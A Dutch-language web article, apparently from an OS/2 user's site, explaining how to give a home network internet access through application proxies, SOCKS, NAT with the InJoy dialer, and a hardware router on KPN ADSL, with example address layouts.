Veel internetprogramma's bieden u de mogelijkheid om een applicatie proxy server in te stellen. Onder Netscape gaat het om Bewerken / Voorkeuren / geavanceerd / Proxies. Onder Handmatige Proxy configuratie geeft u de naam (of het IP adres) op van de computer waar de proxy draait en het gebruikte poortnummer (vaak 8080). Vergeleken met de standaardinstelling (Directe verbinding met het internet) valt meteen op dat het intikken van een op het thuisnetwerk onbekende URL geen DNS foutmelding meer geeft (Netscape kan de server .. niet vinden.). Deze taak wordt aan de proxy server overgelaten. De naam en het IP adres van de proxyserver moet natuurlijk wel in uw hosts bestand staan. Omdat er geen DNS lookup nodig is kunt u vanaf het hele netwerk surfen.

Bij een caching proxy server kunt u eerder bezochte sites raadplegen als de internetverbinding verbroken is. De vaste schijf cache van de WWW clients kunt u op 0 zetten. Een grote cache op vaste schijf voor alle WWW clients is wel zo effectief.

Via een filterlijst kunt u bovendien banners, tellers en andere ongewenste URL's filteren. Junkbuster is hierin gespecialiseerd.

Voorbeelden van proxyservers onder OS/2 zijn:

Dit zijn proxies die u op OS/2 computer kunt draaien. Voor de buitenwereld is de gebruiker van zolder.thuis dan niet 192.168.0.2, maar 195.173.244.121 (sjoerd-visser.demon.nl).

Als u "anoniem" wilt surfen kunt u van een proxy op het internet gebruik maken. Hoe anoniem u bent hangt van de instellingen van de proxy af. Bedenk dat bepaalde authentificatiemethoden niet meer zullen werken. Als u de caching proxy server van uw provider gebruikt, hoeven veel bestanden niet vanuit andere werelddelen opgehaald te worden. Met een modaal surfpatroon levert dat sneller surfen op. Indien de bestanden niet in de cache zitten, bent u (wat) langzamer uit.

Verder is het van belang om te weten dat u proxies kunt koppelen. Oftewel: een proxy kan een proxy gebruiken. Zo wordt de Junkbuster nog wel eens voor een caching proxy server gezet. Junkbuster kan de proxy van uw provider gebruiken. En met Sslurp! maakt u een lokale mirrors van uw favoriete sites via de caching proxy Squid. Zie Squid onder OS/2.



Servers in US

Caching proxy van de ISP

Junkbuster filtert de banners

Squid slaat het lokaal op

Sslurpje van een HOWTO op de harde schijf

Het generieke SOCKS proxy protocol

Met het generieke SOCKS (SOCKet Secure) proxy protocol (Socksfaq) kunnen programma's achter een Packet filtering firewall via een SOCKS server op een firewall indirect contact maken met het internet. De OS/2 TCP/IP stack mag hierbij geen gebruik maken van een default route. Op die manier zijn de OS/2 clients en servers op het achterliggende LAN niet vanaf het internet te zien, maar ook niet te bereiken. Dit is de beste bescherming tegen bufferoverloops en IP vermomming.

SOCKS is networking proxy protocol that enables hosts on one side of a SOCKS server to gain full access to hosts on the other side of the SOCKS server without requiring direct IP reachability. SOCKS redirects connection requests from hosts on opposite sides of a SOCKS server. The SOCKS server authenticates and authorizes the requests, establishes a proxy connection, and relays data. SOCKS is commonly used as a network firewall that enables hosts behind a SOCKS server to gain full access to the Internet, while preventing unauthorized access from the Internet to the internal hosts. There are two major versions of SOCKS: SOCKS V4 and SOCKS V5. David Koblas is the original author.

Onder OS/2 kunt u SOCKs op twee manieren uitvoeren:

Bij de eerste oplossing moeten de door u gebruikte TCP/IP programma's SOCKS-compatibel ("socksified") zijn. Dat laatste is de regel met veel Windows, UNIX en vrijwel alle OS/2 programma's, waar u onder de PROXY instellingen ook een SOCKS server kunt instellen. Hierbij kunt u gebruik maken van de NEC socks5 server for OS/2. Deze ondersteunt naast TCP ook de voor de DNS benodigde UDP kan gebruikers via wachtwoorden authenticiferen. Deze kunt u via socksified applicaties vanuit ieder besturingssysteem benaderen.

Socks is generiek, algemeen, in die zin dat het niet specifike protocollen als HTTP en FTP ondersteunt, maar al op de sessielaag computers verbindt. Vandaar dat het ook in de TCP/IP stack te implementeren is.

De OS/2 Warp 4 TCP/IP stack ondersteunt het SOCKS 4 protocol. Hierbij kunt u gebruik maken van de simpele OS/2 SOCKS server. Latere versies zoals die van eComStation ondersteunen SOCKS 5. Omdat OS/2 clients de SOCKS server via de TCP/IP stack benaderen, hoeven de applicatieprogramma's niet "socksified " te zijn. Een bijzonder elegante oplossing dus. U hebt er wel een namenserveerder voor nodig (bijv. OS/2 name server).

In het Tabblad SOCKS van het TCP/IP configuratienotebook kunt u OS/2 Warp 4 als algemene SOCKS 4 client configureren. Het is een typische oplossing voor grote bedrijven die bijv. via de SOCKS proxy server van de AIX firewall het internet opgaan. Wat er dan gebeurt is dat de OS/2 TCP/IP stack van de SOCKS server gebruik gaat maken. Dit gebeurt ongemerkt via een andere wijze van routing (onzichtbare proxy). Anders dan bij de hierboven beschreven SOCKS proxies op applicatie niveau moet u de proxy instellingen van uw internet clients dus leeg laten! Ze hoeven dus ook niet "socksified" te zien. De SOCKS instellingen worden via het TCP/IP Notebook gezet. Bedenk dat veel TCP/IP netwerkinstellingen (DNS, routing) en ook servers dan niet meer werken. Maar dat is juist de bedoeling in een groot bedrijf die zijn medewerkers wel internettoegang wil geven, maar niet teveel wil blootstellen aan de gevaren.

Netwerk Adres Vertaling

Tenslotte wijs ik u op de oplossing die mij uitstekend bevalt: De Network Address Translation (NAT) die de InJoy 2.3 Extended Dialer (shareware) als extra biedt. Dit dial-up programma wordt evenals de Injoy PPoE Client for OS/2 standaard bij de eComStation GA geleverd.

Beide programma's bevatten de mogelijkheid om via Netwerk Adres Vertaling de internettoegang van een netwerk via een OS/2 computer te regelen. Iets dergelijks heet onder Linux IP Masquerading.

Netwerk Adres Vertaling is een veilige manier om meerdere PC's in het privé bereik (192.168) internettoegang te verschaffen. Hierbij staat de routerfunctie van de inbellende PC aan(ipgate on). Voor de achterliggende PC's is het de de default gateway.

Normaal gesproken moet iedere direct met het internet verbonden computer een op het internet geldig IP adres hebben. Vanaf het privé adres 192.168.0.1 komt u dus zonder lokale proxy het internet niet op. Daarom verandert de netwerk adres vertalende software op de OS/2 PC de adressering in de datagrammen zodanig dat de voor het internet bestemde pakketjes van de computer met het privé adres 192.168.0.2 het geldige IP adres van de inbellende OS/2 computer krijgen. Voor een server op het internet lijkt het dan alsof de verzoeken van 192.168.0.2 van 195.173.244.121 afkomstig waren. De OS/2 PC geeft de gegevens van de internet server weer aan 192.168.0.2 door. Ook dat behelst een aanpassing van de IP adressen in de datagrammen door Injoy naast de gewone routing van de OS/2 PC.

Internet

Netwerk adres vertaling

LAN (thuis)

194.159.73.222 (router van de internet provider)

195.173.244.121 (sjoerd-visser.demon.nl op ppp0)



127.0.0.1 (localhost op lo)

127.0.0.1 (localhost)


192.168.0.1 (visser.thuis op lan0=eth0)

192.168.0.2 (zolder.thuis)

192.168.0.1 (laptop.thuis)

Voor de clients op zolder.thuis lijkt het dan alsof zij rechtstreeks met het internet verbonden zijn. Daarom stelt u hier geen proxy servers in (directe verbinding met het internet), tenzij u natuurlijk naast de NAT een al dan niet lokale proxyserver gebruikt.

NAT maakt dus gebruik van IP masquerading. Hierbij zijn de op het LAN aanwezige PC's alleen als clients te gebruiken. Dus de Linux PC op 192.168.0.2 kan met sendmail -q wel als client van de smtp server van de internet provider post versturen en ontvangen, maar is alleen als smtp server toegankelijk voor de post van mijn eigen thuisnetwerk. Hetzelfde geldt voor de pop3 en imap servers die op de Linux PC draaien: ze serveren het alleen op 192.168.0.x adressen op het LAN. Ook de inbellende OS/2 PC is met [X] Firewall / NAT [... Firewall Setup] / [X] Network Address Translation [ ] Disable NAT for InJoy PC niet aangevinkt veilig voor het internet. D.w.z. niet als server vanaf het internet te benaderen. En wat uzelf aan de clients toelaat (automatische updates en dergelijke) is voor uw eigen rekening.

Wilt u met [X] Disable NAT for InJoy bewerkstelligen dat er wel servers op de OS/2 PC kunnen draaien, dan gelden de onder Poortwachters gestelde regels. Daarnaast moet u het gebruik van een firewall overwegen.

Netwerk Adres Vertaling kan een belangrijk bestanddeel van een firewall zijn, maar het is onjuist om het met een firewall gelijk te stellen. Een firewall is immers een geheel van maatregelen dat men neemt om een netwerk tegen misbruik te beveiligen.

Een hardware router


Routers zijn computers met hun eigen besturingssysteem. De door deze routerfirmware ondersteunde protocollen wisselen van dag tot dag. De meeste routers ondersteunen zowel Microsofts Point-to-Point Tunneling Protocol (MxStream ADSL) als IBM's IPSecure. Voor het draaien van servers kunt u gebruik maken van poortadresvertaling of uw server (heel gewaagd) en plein publiek in de gedemilitariseerde zone van de router zetten, al dan niet met behulp van de OS/2 firewall.

Vertrouw bij de aanschaf van een router niet teveel op de testen. Geen van de door mij gelezen testen deden zinnige uitspraken over veiligheid of betrouwbaarheid. Gebruikersgemak, theoretische snelheid en features stonden voorop. Toch gaan deze features meestal ten koste van de veiligheid.

Maar over het algemeen kun je wel stellen dat de firewalls van gecertificeerde hardwarerouters meer trucs kennen tegen de aanvallen van hackers en script kiddies dan u en ik kunnen bedenken. Hardware routers zijn in dit werk gespecialiseerd. Ze hoeven dus weinig compromissen te maken. Ze werken met op maat gemaakte software, strenge filterregels, een lichte processor, minimaal RAM en hebben geen vaste schijf waar Trojaanse paarden zich nestelen. Ze booten van Flash geheugen en gebruiken maar weinig stroom; iets dat je niet van een Linux floppy disk router op een afgedankte PC kunt zeggen: een PC zonder monitor gebruikt al 100 W (900 kwu/jaar).

De standaardinstelling van een PC die naar KPN's MxStream inbelt staat hieronder afgebeeld. KPN heeft voor haar MxStream ADSL voor een Alcatel modem dat met het Point to Point Tunneling Protocol (PPtP) werkt gekozen. Dit is een door Microsoft bedacht Virtual Private Network (VPN) protocol dat niet door OS/2 wordt ondersteund.

Internet

Wijkcentrale

Alcatel Modem

Internet PC

LAN

Gateway van de provider

modembank

modem (pptp server)

op poort 1723

62.251.n.m (pptp0)

fia10-70.dsl.hccnet.nl




10.0.0.138 (eth0)

10.0.0.150 (eth0) WAN





10.0.0.150 (eth1)

Proxyserver voor LAN

Optioneel: 62.251.n.m (servers voor internet activeren)

10.0.0.151 (eth0)

10.0.0.152 (eth0), etc via proxies of NAT.

De internet PC is direct met het internet verbonden. Dat betekent dat het eerste het beste email virus dat op deze PC een server installeert zijn gang kan gaan. Windows gebruikers hebben daarom een actuele real-time virusscanner nodig om de stroom van Trojaanse Paarden (via email) te weren. Voor de zekerheid moeten ze een goed geconfigureerde Personal Firewall draaien die de poorten in de gaten houdt.

KPN levert Windows en MAC PPPtP clients mee. Voor Linux en misschien voor OS/2 is er een open source oplossing (PPtP for OS/2). Andere providers bieden het door OS/2 shareware firewalls ondersteunde PPP over ethernet (PPPoE) protocol (OS/2 xDSL Experiences). De Injoy Firewall heeft op aanvraag een alfa PPtP client beschikbaar.

Een hardwarerouter wordt tussen het internet (kabelmodem) en het netwerk geplaatst. De router - eigenlijk een gespecialiseerde computer - belt naar de provider (ADSL, IDSN, Kabel). Duurdere routers hebben een ADSL, ISDN of een kabelmodem ingebouwd. Voor anderen moet u van de ethernetvarianten van de betreffende modems gebruik maken. De router verzorgt de internettoegang. Op mijn multiboot PC hoef ik daarom niet voor ieder OS een PPtP client en firewall te configureren. Die worden eenmalig op de router ingesteld. De router levert een packet filtering firewall, de default gateway en de DNS. Hieronder mijn opzet..

Internet

Wijkcentrale

Alcatel Modem

Router / switch

LAN

Gateway van de provider

modembank

modem (pptp server) op poort 1723

62.251.n.m (pptp0)

Optioneel: 62.251.n.m (via servers in Demilitarized Zone (DMZ) activeren)



10.0.0.138 (eth0)

10.0.0.150 (eth0) WAN





192.168.1.1 (eth1)

DNS, default gateway

192.168.1.10 (eth1)

DHCP

192.168.1.4 (eth0)

192.168.1.3 (eth0), etc via NAT.

Het LAN draait op 192.168.1.0. De router (192.168.1.1) is de default gateway van de werkstations op het LAN. Op de router wordt netwerk adres vertaling toegepast: De privé adressen in de 192.168 reeks worden naar 62.251.n.m vertaald. De router belt via zijn WAN interface (10.0.0.150) als Point to Point Tunneling Protocol client naar de PPtP server op het Alcatel modem (10.0.0.138).

De router zal software moeten bevatten waarmee een netwerk adres vertaling kan worden uitgevoerd. Anders verschuift u het probleem. Het veilige deel is rechtsonder in paars aangeven. De netwerk adres vertaling vindt tussen de pptp en eth1 interface in de router plaats. De router levert met 192.168.1.1 (eth1), die de gateway en DNS (caching server) van het LAN is, een veilige interface, omdat er verder geen overbodige software (en zeker geen Windows) draait.

Op een oude 386 PC kan een mini Linux distributie als router en firewall dienen. De configuratie gaat bij voorkeur via een server met slechts een 192.168.n.m:poortnummer adres, die niet via het internet is te benaderen. Ook hier moet u de installatie en configuratie minimaal houden.